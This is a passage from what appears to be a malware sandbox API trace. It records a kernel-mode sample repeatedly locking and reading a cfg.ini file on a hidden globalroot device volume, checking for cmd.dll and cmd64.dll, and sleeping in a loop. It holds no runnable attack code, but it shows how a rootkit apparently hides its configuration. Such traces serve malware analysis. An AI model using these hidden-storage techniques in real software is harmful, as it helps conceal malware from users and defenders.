AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.259] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.259] IdePortDispatch () returned 0x103 [0125.259] KeWaitForMutexObject () returned 0x0 [0125.259] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.259] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.259] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.259] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.259] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.259] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5940 [0125.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.260] KeLeaveCriticalRegion () [0125.260] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.260] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.260] KeEnterCriticalRegion () [0125.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.260] KeLeaveCriticalRegion () [0125.260] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.260] KeEnterCriticalRegion () [0125.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.260] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.260] IdePortDispatch () returned 0x103 [0125.260] KeWaitForMutexObject () returned 0x0 [0125.260] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.260] KeLeaveCriticalRegion () [0125.260] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.260] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.260] KeEnterCriticalRegion () [0125.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c00000 [0125.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.260] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.261] IdePortDispatch () returned 0x103 [0125.261] KeWaitForMutexObject () returned 0x0 [0125.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.261] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.261] IdePortDispatch () returned 0x103 [0125.261] KeWaitForMutexObject () returned 0x0 [0125.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.261] KeLeaveCriticalRegion () [0125.261] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.261] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.262] KeEnterCriticalRegion () [0125.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] KeLeaveCriticalRegion () [0125.262] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.262] KeEnterCriticalRegion () [0125.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.262] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] KeLeaveCriticalRegion () [0125.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.262] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.262] KeEnterCriticalRegion () [0125.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] ExFreePoolWithTag (P=0xfffffa8003bf5940, Tag=0x0) [0125.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.262] KeLeaveCriticalRegion () [0125.262] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.262] ReleaseMutex (hMutex=0xf0) returned 1 [0125.262] Sleep (dwMilliseconds=0x124f80) [0125.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.277] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.277] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.277] KeEnterCriticalRegion () [0125.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.277] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.277] IdePortDispatch () returned 0x103 [0125.277] KeWaitForMutexObject () returned 0x0 [0125.277] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.277] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.277] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.277] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.277] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.277] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7010 [0125.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.277] KeLeaveCriticalRegion () [0125.278] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.278] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.278] KeEnterCriticalRegion () [0125.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.278] KeLeaveCriticalRegion () [0125.278] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.278] KeEnterCriticalRegion () [0125.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.278] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.278] IdePortDispatch () returned 0x103 [0125.278] KeWaitForMutexObject () returned 0x0 [0125.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.278] KeLeaveCriticalRegion () [0125.278] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.278] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.278] KeEnterCriticalRegion () [0125.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c05000 [0125.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.278] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.278] IdePortDispatch () returned 0x103 [0125.279] KeWaitForMutexObject () returned 0x0 [0125.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.279] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.279] IdePortDispatch () returned 0x103 [0125.279] KeWaitForMutexObject () returned 0x0 [0125.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.279] KeLeaveCriticalRegion () [0125.279] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.279] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.279] KeEnterCriticalRegion () [0125.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.279] KeLeaveCriticalRegion () [0125.279] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.279] KeEnterCriticalRegion () [0125.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.280] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.280] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf62b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.280] KeLeaveCriticalRegion () [0125.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.280] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.280] KeEnterCriticalRegion () [0125.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.280] ExFreePoolWithTag (P=0xfffffa8003bf7010, Tag=0x0) [0125.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.280] KeLeaveCriticalRegion () [0125.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.280] ReleaseMutex (hMutex=0xf0) returned 1 [0125.280] Sleep (dwMilliseconds=0x124f80) [0125.293] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.293] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.293] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.293] KeEnterCriticalRegion () [0125.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.293] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.293] IdePortDispatch () returned 0x103 [0125.294] KeWaitForMutexObject () returned 0x0 [0125.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.294] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.294] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.294] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.294] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.294] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.294] KeLeaveCriticalRegion () [0125.294] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.294] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.294] KeEnterCriticalRegion () [0125.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.294] KeLeaveCriticalRegion () [0125.294] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.294] KeEnterCriticalRegion () [0125.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.294] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.294] IdePortDispatch () returned 0x103 [0125.295] KeWaitForMutexObject () returned 0x0 [0125.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.295] KeLeaveCriticalRegion () [0125.295] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.295] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.295] KeEnterCriticalRegion () [0125.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.295] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0a000 [0125.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.295] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.295] IdePortDispatch () returned 0x103 [0125.295] KeWaitForMutexObject () returned 0x0 [0125.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.296] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.296] IdePortDispatch () returned 0x103 [0125.296] KeWaitForMutexObject () returned 0x0 [0125.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.296] KeLeaveCriticalRegion () [0125.296] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.296] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.296] KeEnterCriticalRegion () [0125.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.296] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.296] KeLeaveCriticalRegion () [0125.296] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.296] KeEnterCriticalRegion () [0125.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.296] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.296] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.296] KeLeaveCriticalRegion () [0125.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.297] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.297] KeEnterCriticalRegion () [0125.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.297] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.297] KeLeaveCriticalRegion () [0125.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.297] ReleaseMutex (hMutex=0xf0) returned 1 [0125.297] Sleep (dwMilliseconds=0x124f80) [0125.311] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.311] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.311] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.311] KeEnterCriticalRegion () [0125.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.311] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.311] IdePortDispatch () returned 0x103 [0125.311] KeWaitForMutexObject () returned 0x0 [0125.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.312] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.312] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.312] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.312] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.312] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5af0 [0125.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.312] KeLeaveCriticalRegion () [0125.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.312] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.312] KeEnterCriticalRegion () [0125.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.312] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.312] KeLeaveCriticalRegion () [0125.312] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.312] KeEnterCriticalRegion () [0125.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.312] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.312] IdePortDispatch () returned 0x103 [0125.312] KeWaitForMutexObject () returned 0x0 [0125.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.312] 